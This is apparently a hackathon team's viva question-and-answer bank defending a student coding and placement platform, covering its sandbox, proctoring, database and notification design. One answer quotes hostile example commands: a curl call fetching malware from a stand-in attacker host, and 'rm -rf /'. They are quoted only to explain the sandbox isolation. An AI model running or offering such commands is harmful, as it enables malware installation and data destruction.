

SMART INDIA HACKATHON — MASTER VIVA VOCE ENCYCLOPEDIA

Complete Merged Question Bank: 60+ Humanized, Conversational Answers for Grand Finale Defense

Techsquad • VSB Engineering College (Autonomous), Karur • Department of IT • SIH26044

1. ELEVATOR PITCH & PEDAGOGICAL CORE

Q1. In 30 seconds, tell me what your project actually does.

Quick Take: Closed-loop coding growth tracker.

Sir, college exams test memorization once a semester, while students code every day on LeetCode and GitHub without getting academic credit. We built a platform that brings all this live coding into one place, automatically finds what topics a student is weak in, pairs them with a peer to fix it, and re-tests them to prove their skills actually grew.

Q2. What is the single biggest problem you are solving?

Quick Take: Bridging exam marks with real coding competency.

Right now, there is zero connection between getting an 'A' grade in semester exams and actually being able to write bug-free code in an interview. Our platform turns random daily coding into verified proof that companies and colleges can trust.

Q3. Who are the actual users and roles in your system?

Quick Take: 4-tier hierarchy for academic governance.

We have 4 clean roles: Students (practice code, submit tasks, take tests), Class Advisors (verify student proofs and track section velocity), HODs (view department-wide skill heatmaps and analytics), and Industry Recruiters (post openings and run short coding qualifiers).

Q4. What is your tech stack and why did you choose it?

Quick Take: Full-stack TypeScript for end-to-end type safety.

We used React 19 and Tailwind on the frontend for speed, Monaco Editor for the in-browser IDE, Express with TypeScript on the backend, and PostgreSQL for strict relational ACID data. TypeScript across both frontend and backend means shared types and fewer runtime bugs.

Q5. Your research question asks: 'Can peer learning measurably improve competency?' How do you measure it?

Quick Take: Hake's Gain formula (g) with paired t-test.

We use Hake's normalized learning gain formula: $g = (\text{PostScore} - \text{PreScore}) / (100 - \text{PreScore})$. If g is above 0.7, the learning gain is considered high. We prove it's statistically real using a paired t-test with a 95% confidence level ($\alpha = 0.05$).

Q6. In peer programming, what stops one student from doing all the work while the other slacks off?

Quick Take: Role rotation + Individual isomorphic re-test.

Two things: First, we enforce time-boxed Driver-Navigator roles where write access switches every 15 minutes. Second, right after the collaborative session ends, both students must solve an individual isomorphic test alone. If a student freeloaded, they instantly fail the solo re-test.

Q7. What is an 'isomorphic' question in plain English?

Quick Take: Same logic, different story.

It means keeping the exact same algorithmic logic, time complexity, and data structure, but changing the story and numbers. For example, changing 'Find two numbers that add up to a target' to 'Find two flight durations that match the layover time'. If they memorized the answer, they fail; if they understood the concept, they pass.

Q8. How does your algorithm pair students? Why not pair top with bottom?

Quick Take: Complementary skill matching, not top-with-bottom.

Pairing top with bottom doesn't work—the topper gets frustrated and the struggling student feels shy. We pair students who have complementary strengths (Student A is good at Trees, Student B is good at DP). For remediation, we pair students with just a 15-20% skill gap so the explanation is relatable.

Q9. How do you isolate your framework's effect from a good instructor or external YouTube tutorials?**Quick Take: Quasi-experimental split-cohort design (N=60).**

We use a split-cohort study: 30 Control students and 30 Experimental students studying the exact same syllabus under the same faculty. The Control group uses traditional lab submissions; the Experimental group uses our closed-loop peer practice platform. Both take the exact same blinded isomorphic pre- and post-tests.

2. CODE SANDBOX EXECUTION ENGINE & COMPILATION**Q10. How does your backend run student code? Walk me through the lifecycle.****Quick Take: Temp folder -> Compile -> Stdin feed -> Compare -> Clean up.**

When a student hits 'Submit', we create a fresh temp directory, write their code to disk, compile it using GCC, G++, or Javac, feed test inputs through stdin, compare the stdout with expected outputs, and delete the folder immediately in a finally block.

Q11. What happens if a student writes an infinite loop like while(true)?**Quick Take: Hard process timeout + SIGKILL.**

We don't wait forever. C, C++, and Python have a hard 4-second timeout, and Java has 6 seconds. If the timer expires, Node fires `child.kill('SIGKILL')`, terminates the process, and flags the test case as Time Limit Exceeded (TLE).

Q12. What if someone prints infinite characters like while(1) printf('A')?**Quick Take: 64 KB buffer clamp.**

In `codingSandboxService.ts`, our stdout/stderr listeners stop reading once the output hits 64 KB (65,536 bytes). This prevents the server's RAM from overflowing.

Q13. Why is memory_used_kb showing 0 in your code?**Quick Take: Honesty: child_process doesn't measure RSS cross-platform.**

Because Node's built-in `child_process.spawn` doesn't give accurate cross-platform peak RAM usage on Windows and Linux without third-party C++ bindings. Rather than faking numbers, we set it to 0 for now and enforce Time Limits. On our Linux production server, we read it via `cgroups`.

Q14. What if a student writes class Solution instead of class Main in Java?**Quick Take: Automatic regex AST rewrite.**

Java normally crashes if the filename doesn't match the public class name. In `codingSandboxService.ts`, our regex checks for `class Solution` or rewrites it to `public class Main` before saving, so `javac Main.java` compiles without silly errors.

Q15. How do you hide hidden test cases from students inspecting browser network calls?**Quick Take: Masked on the server before sending JSON.**

During sample runs, we only query `'is_hidden = FALSE'`. During final submissions, we run both public and hidden test cases, but the server strips actual output, expected output, and errors for hidden tests before sending the JSON response.

Q16. What stops student code from running system('curl attacker.com/malware') or rm -rf /?**Quick Take: Sanitized ENV + non-root container in production.**

In development, `'SANITIZED_ENV'` strips all cloud secrets and tokens from the process. In production deployment, we delegate the `'runProcess'` boundary to an isolated Docker container with network egress completely blocked (`'--net=none'`) and read-only filesystem mounts.

Q17. Where does code actually compile if your frontend and API are hosted on Vercel?**Quick Take: Dedicated background worker vs stateless API decoupling.**

Vercel serverless containers are lightweight and lack GCC/Java toolchains. Our architecture decouples web traffic from execution: Vercel serves the dashboards and auth, while heavy code execution is routed to our persistent Linux VPS or execution worker (`'tsx server.ts'`).

3. ANTI-CHEAT & MONACO PROCTORING ENGINE

Q18. How did you disable copy-pasting inside the Monaco editor?**Quick Take: DOM capture phase + Keyboard shortcuts trap.**

Monaco uses internal shadow DOM where normal React events don't work. On mount, we grab `editor.getDomNode()` and attach native DOM listeners for `'paste'`, `'copy'`, and `'contextmenu'` with `'useCapture = true'`. We also intercept `'Ctrl+V'` and `'Cmd+V'` in `editor.onKeyDown` and block them.

Q19. What anti-cheat violations do you record during an online coding test?**Quick Take: 5 real-time flags sent to DB audit log.**

We track: (1) Fullscreen exits via `'document.fullscreenElement'`, (2) Tab switches via `'document.visibilitychange'`, (3) Right-click attempts, (4) Clipboard paste attempts, and (5) Live webcam stream disconnections. Every violation increments a strike counter and logs to `'coding_proctoring_events'`.

Q20. What if a student uses ChatGPT on a second device or phone?**Quick Take: Live webcam feed + Strict time per problem.**

The webcam is mandatory and streams their face continuously. More importantly, we design micro-tasks with tight time constraints (15-20 minutes) and test code-modification or bug-fixing, where prompt-engineering an LLM on another screen takes longer than solving it.

Q21. What happens if a student accidentally closes the browser during a test?**Quick Take: Continuous autosave + Server-side countdown.**

Every few seconds, their code draft is autosaved to `'coding_code_drafts'` using an upsert query. When they re-open the link, their code is restored instantly. The timer is computed on the server from `'deadline_at - NOW()'`, so refreshing doesn't give extra time.

Q22. What if a student tries running a Virtual Machine (VM) to bypass tab-switch tracking?**Quick Take: Keystroke dynamics + Paste velocity flags.**

Even inside a VM, if a student copies code from the host, it appears in Monaco as a bulk paste (40 lines in 0.2 seconds). Our keyboard listeners flag paste velocity anomalies immediately for manual faculty audit.

4. DATABASE ARCHITECTURE & SCALE (DB.TS)**Q23. Why did you change Supabase port 5432 to port 6543?****Quick Take: Port 5432 crashes on burst traffic; Port 6543 scales.**

Port 5432 is Session mode, which has a hard ceiling of 15-20 connections. If 60 students submit tests at once, the database throws `'EMAXCONNECTIONS'` and crashes. Port 6543 uses Transaction mode (Supavisor), which borrows connections only for the split-second query and releases them, handling thousands of clients.

Q24. Why set poolMax = 3 on Vercel but 25 on a normal server?**Quick Take: Prevent serverless cold-starts from flooding Postgres.**

In serverless, each concurrent user request spins up a separate Node container. If 50 containers open 20 connections each, that's 1,000 connections, crashing the DB. Limiting each serverless instance to 2-3 connections keeps total pool connections well within limits.

Q25. Why did you use `pg.types.setTypeParser(20, ...)`?**Quick Take: Parse COUNT(*) directly as Numbers, not Strings.**

By default, Node's `'pg'` driver returns `'COUNT(*)'` as a string like `'"42"'` to prevent 64-bit precision loss. That forced us to write `'parseInt()'` everywhere. Parser 20 forces Postgres integers to return directly as numbers, making JSON responses faster and cleaner.

Q26. What is Row Level Security (RLS) and why is it automated in your code?**Quick Take: Prevents direct database tampering.**

In `'initDB()'`, our script loops through all tables in the `'public'` schema and enables RLS. This guarantees that even if someone finds our Supabase URL, they cannot query or tamper with tables without authorized service credentials.

Q27. What happens when 200 students hit 'Submit' at the 59th minute simultaneously?**Quick Take: Transaction pooling + async DB worker queue.**

Supabase Port 6543 handles query queuing smoothly. Because our database transactions hold connections for only 5-10 milliseconds to insert the submission and draft, all 200 writes complete in under 2 seconds without timing out.

5. FILE DOWNLOADS: ZIP, EXCEL & PDF TASK PROOFS

Q28. Why generate ZIPs on the user's browser using JSZip instead of on your server?

Quick Take: Saves server memory and prevents serverless timeouts.

Downloading 100 high-res student screenshots on the server, zipping them, and sending them would eat hundreds of megabytes of server RAM and timeout after 10 seconds on Vercel. Doing it in the browser with `JSZip` takes zero server CPU and shows a smooth progress bar to faculty.

Q29. How do you prevent CORS errors when downloading Cloudinary images into a ZIP?

Quick Take: Direct CDN fetch first, then authenticated proxy fallback.

The browser tries direct download first. If Cloudinary's CORS header blocks it, it falls back to our backend proxy: `/api/submissions/screenshot-proxy`. Our Express server downloads the image server-to-server and pipes it back with proper CORS headers.

Q30. How does your screenshot-proxy prevent SSRF attacks?

Quick Take: Strict Cloudinary domain whitelisting.

In `server.ts`, we check `allowedHosts = ['res.cloudinary.com', 'cloudinary.com']`. If someone tries to pass `localhost` or internal cloud IPs, the server immediately returns HTTP 403 Forbidden.

Q31. How does proofPdfGenerator.ts stop student proof screenshots from looking stretched?

Quick Take: Aspect-ratio preserving math.

It calculates the image's natural width/height ratio and compares it to the printable box on the A4 page. Whichever side is longer gets constrained, and the other side scales proportionally. The image is centered with a nice border, keeping 100% readability.

Q32. What if an HOD downloads 500 screenshots and the browser tab crashes?

Quick Take: Batch chunking (CHUNK_SIZE = 5) + Abort Controller.

In `src/App.tsx`, we process images in small batches of 5 using `Promise.all` rather than firing 500 parallel connections. We also have an `AbortController` so faculty can pause or cancel without crashing the tab.

6. EMAIL & TELEGRAM MULTI-CHANNEL AUTOMATION

Q33. Why send emails via Brevo HTTPS REST API instead of traditional SMTP?

Quick Take: Cloud hosts block SMTP ports 25 and 587; HTTPS Port 443 is never blocked.

Platforms like Vercel and Render block raw SMTP ports to stop spammers. Brevo's HTTPS API runs over port 443 (regular web traffic), which works everywhere, has zero firewall issues, and delivers messages much faster.

Q34. What happens if your free Brevo email quota runs out mid-day?

Quick Take: Multi-node pool + Instant circuit-breaker failover.

We have 3 Brevo accounts pooled together (giving 900 free emails/day). If Node 1 hits a 402 quota error, our circuit-breaker marks it offline for 2 hours and routes the email to Node 2. If all Brevo nodes run out, it falls back to Resend API, and finally to SMTP.

Q35. How does 1-click Telegram linking work for a student?

Quick Take: Deep link with JWT token.

The student clicks 'Connect Telegram' on the website, which opens `t.me/IT\_TaskManager\_Alerts\_bot?start=link\_<JWT>`. When they tap Start, our bot verifies the token, grabs their Telegram Chat ID, saves it in Postgres, and confirms the link in 2 seconds.

Q36. How do you stop duplicate Telegram alerts if multiple users click at 8:00 PM?

Quick Take: Atomic daily database lock via `claimDailySlot()`.

Before sending daily alerts, the server runs an atomic `INSERT ... ON CONFLICT ... WHERE value IS DISTINCT FROM EXCLUDED.value RETURNING key`. Only the very first request gets a row back and sends the alerts; all other requests get 0 rows and exit immediately.

Q37. On Vercel serverless, background timers freeze. How do your scheduled alerts fire?

Quick Take: Opportunistic request-driven scheduler.

Every incoming HTTP request to our API checks if 30 seconds have passed since the last check. If it's 8:00 PM and the evening reminders haven't run today, the incoming request triggers the alert in the background. No paid cron servers needed!

Q38. What happens if Telegram rate-limits your bot for broadcasting too fast?**Quick Take: Sequential throttling + 429 backoff.**

Telegram allows 30 messages/sec. In `telegramService.ts`, we add small delays between 1-to-1 DMs. If a 429 error occurs, we inspect `retry_after` and back off. If Telegram is unavailable, notifications fall back to Email.

7. AI PLACEMENT READINESS & SKILL GAP ENGINE**Q39. Explain your 70/15/15 placement matching formula in simple words.****Quick Take: 70% verified skills, 15% college CGPA, 15% coding consistency.**

We don't score students on just marks. Core technical skills match carries 70% because that's what companies hire for. CGPA carries 15% for academic discipline. LeetCode problem solving carries 15% for algorithmic grit.

Q40. Why did you use an exponential formula for LeetCode instead of simple division?**Quick Take: Diminishing returns: 50 problems matter more than going from 800 to 850.**

Going from 0 to 50 problems teaches you immense logic, but going from 500 to 550 is just practice. Our formula `1 - exp(-N / 150)` gives steep score gains for early consistency and smoothly tops out around 350-400 problems, so students can't game the system by grinding 1,000 easy questions.

Q41. How do you avoid string mismatch false negatives like 'React.js' vs 'React'?**Quick Take: Skill alias normalization map.**

We clean the string to lowercase alphanumeric, and route synonyms through `SKILL_ALIASES` (e.g. `reactjs`, `react.js` -> `react`; `postgresql`, `mysql` -> `sql`). We also check two-way substring matching so 'Spring Boot' matches 'Spring'.

Q42. How do you estimate how many weeks a student needs to bridge their skill gap?**Quick Take: Gap depth * Domain complexity factor.**

For each missing skill, we multiply the skill deficit level by domain complexity (e.g. Docker is 2.5x, React is 2.0x, Machine Learning is 3.5x) and its weight in the job posting. This outputs a realistic, customized preparation timeline (e.g. '3 weeks to job-ready').

Q43. What if an exceptional developer has 0 LeetCode problems because they prefer GitHub projects?**Quick Take: Weighted multi-source profile balances LeetCode.**

They lose only the 15% LeetCode bonus, but their GitHub commits and verified projects give them full marks on the 70% skills component. They can still achieve an 85% Super Dream placement score.

8. NBA / NAAC ACCREDITATION & ACADEMIC RIGOR**Q44. Where are questions mapped to Bloom's Taxonomy levels in your database?****Quick Take: Direct mapping in coding_questions schema.**

In `coding_questions`, difficulty is partitioned into cognitive tiers: 'EASY' maps to Bloom's Level 2-3 (Understand & Apply syntax), 'MEDIUM' maps to Level 4 (Analyze & Optimize), and 'HARD' maps to Level 5 (Evaluate edge constraints and Design algorithms), satisfying NBA Criterion 2 & 3.

Q45. What if Peer Student A teaches Peer Student B bad habits or $O(N^2)$ brute-force logic?**Quick Take: Automated complexity and edge case test suites.**

The collaborative coding sandbox enforces strict execution timeouts (TLE). If Student A's brute-force $O(N^2)$ solution is passed to Student B, it instantly fails large hidden test cases ($N=10^5$), forcing both students to discard brute force and optimize.

Q46. How do you explain a student with 2 past arrears but high LeetCode rank to an NBA auditor?**Quick Take: Distinguishing theoretical exam arrears from applied skill.**

Our placement readiness report shows the breakdown clearly: theoretical semester exam gaps reflect examination pressure, while live telemetry proves applied algorithmic competence. NAAC loves this because it provides holistic student profiling.

9. RECRUITER PORTAL, SYSTEM RESILIENCE & EDGE CASES

Q47. What stops a fake user from registering as an INDUSTRY recruiter and stealing student phone numbers?**Quick Take:** HOD / Admin manual verification gate.

In `company_profiles`, every recruiter account is created with `is_verified = FALSE`. Unverified recruiters cannot view student contact information or download resumes until the college HOD verifies their official corporate email domain.

Q48. How do you handle GitHub API commit sync conflicts when 60 students submit tasks?**Quick Take:** Batched daemon sync with exponential backoff.

We don't fire 60 simultaneous Git commits on the same file. In `studentDirectoryService.ts`, progress sync is queued into a single background batch daemon that writes student directories sequentially, avoiding 409 conflict errors.

Q49. How do you prevent server crashes when Cloudinary storage reaches its free tier limit?**Quick Take:** `imageCleanupService` 30-day automated purge.

In `imageCleanupService.ts`, a daily background job scans `task_submissions` and purges screenshot proofs older than 30 days while keeping verified records in the database, ensuring storage never exceeds Cloudinary's free tier.

Q50. How do you guarantee that 8:00 AM IST alerts fire accurately on servers running in UTC (like Vercel/AWS)?**Quick Take:** `Intl.DateTimeFormat` with Asia/Kolkata timezone.

In `server.ts`, function `getSTTimeParts()` uses `Intl.DateTimeFormat('en-CA', { timeZone: 'Asia/Kolkata' })`. Regardless of whether the host server runs in US-East or London UTC, the hours and minutes are always parsed in Indian Standard Time.

Q51. What happens if `/logo.png` fails to load when generating a proof PDF?**Quick Take:** Silent fallback to clean text-based layout.

In `proofPdfGenerator.ts`, the logo fetch runs inside a `try...catch` block. If `/logo.png` returns a 404 or fails, `logoDataUrl` remains `null`, and the PDF renders a clean, typography-only institutional header without crashing.

10. TOUGH JURY TRAP QUESTIONS & CLOSING DEFENSE**Q52. LeetCode, HackerRank, and Canvas Moodle already exist. Why are you reinventing the wheel?****Quick Take:** They are disconnected silos; we built the complete closed loop.

Sir, Moodle has assignments but zero code editor. LeetCode has problems but zero peer study circles or college curriculum alignment. None of them take daily commits from GitHub and LeetCode, find your gaps against college curriculum, pair you with a classmate, and re-test you to prove growth. That closed loop is our innovation.

Q53. Students can just copy-paste answers from ChatGPT. How is your tool useful?**Quick Take:** We detect paste velocity, use webcam proctoring, and test debugging.

You can't paste into our Monaco editor—DOM paste events and Ctrl+V are blocked and logged. More importantly, our micro-assessments give buggy code to fix or require students to explain space-time complexity under live peer walkthroughs, which ChatGPT copy-pasters fail at.

Q54. Your `server.ts` file is 12,000 lines long. Isn't that messy programming?**Quick Take:** Tactical choice for serverless deployment; domain logic is fully modular.

During the hackathon sprint, keeping route declarations in `server.ts` eliminated module-resolution errors across Vercel and Render deployments. But all our actual logic is cleanly separated: `codingSandboxService` runs compilers, `db.ts` handles pooling, `emailService` runs the email pool, and `telegramService` runs the bot.

Q55. Are you doing too many things at once? Wouldn't a product focused on just the coding sandbox be better?**Quick Take:** An isolated sandbox reproduces the same silo problem we are solving.

No, sir. If we built just a code sandbox, we would be another isolated LeetCode clone. The entire problem in higher education is fragmented data: attendance in one place, tasks on Google Drive, coding on LeetCode. Bringing them into a unified governance loop is what solves the accreditation and placement problem.

Q56. How much does running this system cost the college per month?**Quick Take:** Essentially zero dollars on free tier infrastructure.

We architected it for zero-cost operation: Vercel free tier for frontend and API, Supabase free tier for PostgreSQL, Brevo and Resend free tiers for 1,000+ daily emails, Telegram Bot API (100% free with unlimited messages), and Cloudinary free tier for proof storage.

Q57. What is working right now vs what is just future planning?

Quick Take: The full platform is live in production today.

The entire platform is live today at `it-taskmanager.vercel.app`! You can create tasks, code in the Monaco IDE, compile C++/Java/Python, receive Telegram alerts, and download Excel/PDF reports right now. The only upcoming step is gathering longitudinal data from our N=60 student pilot cohort over the full semester.